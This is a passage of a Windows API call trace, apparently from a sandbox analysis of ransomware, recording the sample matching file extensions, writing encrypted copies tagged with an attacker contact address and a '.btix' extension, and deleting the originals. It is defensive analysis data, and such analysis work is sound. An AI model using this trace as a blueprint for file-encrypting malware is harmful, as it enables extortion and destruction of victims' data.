returned -1 [0159.562] lstrlenW (lpString=".7z") returned 3 [0159.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.562] lstrlenW (lpString=".dbf") returned 4 [0159.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.562] lstrlenW (lpString=".1cd") returned 4 [0159.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF") returned 68 [0159.562] lstrlenW (lpString=".jpg") returned 4 [0159.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.564] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.564] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.564] GetLastError () returned 0x0 [0159.565] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1bc8, lpOverlapped=0x0) returned 1 [0159.599] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0159.600] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.600] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.600] SetEndOfFile (hFile=0x3a0) returned 1 [0159.600] CloseHandle (hObject=0x3a0) returned 1 [0159.600] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.600] SetEndOfFile (hFile=0x380) returned 1 [0159.601] CloseHandle (hObject=0x380) returned 1 [0159.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239953.wmf")) returned 1 [0159.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.602] lstrlenW (lpString=".doc") returned 4 [0159.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.602] lstrlenW (lpString=".docx") returned 5 [0159.602] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.602] lstrlenW (lpString=".pdf") returned 4 [0159.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.602] lstrlenW (lpString=".xls") returned 4 [0159.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.602] lstrlenW (lpString=".xlsx") returned 5 [0159.602] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.602] lstrlenW (lpString=".ppt") returned 4 [0159.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.602] lstrlenW (lpString=".zip") returned 4 [0159.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.602] lstrlenW (lpString=".rar") returned 4 [0159.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.602] lstrlenW (lpString=".bz2") returned 4 [0159.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.603] lstrlenW (lpString=".7z") returned 3 [0159.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.603] lstrlenW (lpString=".dbf") returned 4 [0159.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.603] lstrlenW (lpString=".1cd") returned 4 [0159.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239953.WMF") returned 68 [0159.603] lstrlenW (lpString=".jpg") returned 4 [0159.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.603] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.603] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.604] GetLastError () returned 0x0 [0159.604] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1348, lpOverlapped=0x0) returned 1 [0159.641] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1350, lpOverlapped=0x0) returned 1 [0159.641] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.641] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.641] SetEndOfFile (hFile=0x3a0) returned 1 [0159.642] CloseHandle (hObject=0x3a0) returned 1 [0159.642] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.642] SetEndOfFile (hFile=0x380) returned 1 [0159.642] CloseHandle (hObject=0x380) returned 1 [0159.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf")) returned 1 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.643] lstrlenW (lpString=".doc") returned 4 [0159.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".docx") returned 5 [0159.643] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.643] lstrlenW (lpString=".pdf") returned 4 [0159.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.643] lstrlenW (lpString=".xls") returned 4 [0159.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.643] lstrlenW (lpString=".xlsx") returned 5 [0159.644] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.644] lstrlenW (lpString=".ppt") returned 4 [0159.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.644] lstrlenW (lpString=".zip") returned 4 [0159.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.644] lstrlenW (lpString=".rar") returned 4 [0159.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString=".bz2") returned 4 [0159.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString=".7z") returned 3 [0159.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.644] lstrlenW (lpString=".dbf") returned 4 [0159.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.644] lstrlenW (lpString=".1cd") returned 4 [0159.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0159.644] lstrlenW (lpString=".jpg") returned 4 [0159.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.645] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.645] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.646] GetLastError () returned 0x0 [0159.646] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x154c, lpOverlapped=0x0) returned 1 [0159.657] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1550, lpOverlapped=0x0) returned 1 [0159.658] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.658] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.658] SetEndOfFile (hFile=0x3a0) returned 1 [0159.658] CloseHandle (hObject=0x3a0) returned 1 [0159.658] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.658] SetEndOfFile (hFile=0x380) returned 1 [0159.659] CloseHandle (hObject=0x380) returned 1 [0159.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239967.wmf")) returned 1 [0159.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.661] lstrlenW (lpString=".doc") returned 4 [0159.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.661] lstrlenW (lpString=".docx") returned 5 [0159.661] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0159.661] lstrlenW (lpString=".pdf") returned 4 [0159.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.661] lstrlenW (lpString=".xls") returned 4 [0159.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.662] lstrlenW (lpString=".xlsx") returned 5 [0159.662] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0159.662] lstrlenW (lpString=".ppt") returned 4 [0159.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.662] lstrlenW (lpString=".zip") returned 4 [0159.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.662] lstrlenW (lpString=".rar") returned 4 [0159.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.662] lstrlenW (lpString=".bz2") returned 4 [0159.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.662] lstrlenW (lpString=".7z") returned 3 [0159.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.662] lstrlenW (lpString=".dbf") returned 4 [0159.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.662] lstrlenW (lpString=".1cd") returned 4 [0159.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239967.WMF") returned 68 [0159.662] lstrlenW (lpString=".jpg") returned 4 [0159.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.668] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.668] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.670] GetLastError () returned 0x0 [0159.670] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xcd8, lpOverlapped=0x0) returned 1 [0159.740] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xce0, lpOverlapped=0x0) returned 1 [0159.741] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.741] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.741] SetEndOfFile (hFile=0x3a0) returned 1 [0160.138] CloseHandle (hObject=0x3a0) returned 1 [0160.138] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.138] SetEndOfFile (hFile=0x39c) returned 1 [0160.139] CloseHandle (hObject=0x39c) returned 1 [0160.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239997.wmf")) returned 1 [0160.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.140] lstrlenW (lpString=".doc") returned 4 [0160.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.140] lstrlenW (lpString=".docx") returned 5 [0160.140] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.140] lstrlenW (lpString=".pdf") returned 4 [0160.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.140] lstrlenW (lpString=".xls") returned 4 [0160.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.140] lstrlenW (lpString=".xlsx") returned 5 [0160.140] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.140] lstrlenW (lpString=".ppt") returned 4 [0160.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.140] lstrlenW (lpString=".zip") returned 4 [0160.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.140] lstrlenW (lpString=".rar") returned 4 [0160.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.140] lstrlenW (lpString=".bz2") returned 4 [0160.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.140] lstrlenW (lpString=".7z") returned 3 [0160.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.140] lstrlenW (lpString=".dbf") returned 4 [0160.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.141] lstrlenW (lpString=".1cd") returned 4 [0160.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239997.WMF") returned 68 [0160.141] lstrlenW (lpString=".jpg") returned 4 [0160.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.141] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.141] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.142] GetLastError () returned 0x0 [0160.142] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7b2, lpOverlapped=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7c0, lpOverlapped=0x0) returned 1 [0160.732] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.732] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.732] SetEndOfFile (hFile=0x3a0) returned 1 [0160.732] CloseHandle (hObject=0x3a0) returned 1 [0160.732] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.732] SetEndOfFile (hFile=0x39c) returned 1 [0160.733] CloseHandle (hObject=0x39c) returned 1 [0160.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf")) returned 1 [0160.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.849] lstrlenW (lpString=".doc") returned 4 [0160.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.849] lstrlenW (lpString=".docx") returned 5 [0160.849] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.849] lstrlenW (lpString=".pdf") returned 4 [0160.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.849] lstrlenW (lpString=".xls") returned 4 [0160.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.849] lstrlenW (lpString=".xlsx") returned 5 [0160.849] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.849] lstrlenW (lpString=".ppt") returned 4 [0160.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.849] lstrlenW (lpString=".zip") returned 4 [0160.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.849] lstrlenW (lpString=".rar") returned 4 [0160.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.849] lstrlenW (lpString=".bz2") returned 4 [0160.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.849] lstrlenW (lpString=".7z") returned 3 [0160.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.850] lstrlenW (lpString=".dbf") returned 4 [0160.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.850] lstrlenW (lpString=".1cd") returned 4 [0160.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF") returned 68 [0160.850] lstrlenW (lpString=".jpg") returned 4 [0160.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.852] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.852] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0160.860] GetLastError () returned 0x0 [0160.860] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4330, lpOverlapped=0x0) returned 1 [0160.983] WriteFile (in: hFile=0x394, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4340, lpOverlapped=0x0) returned 1 [0160.984] ReadFile 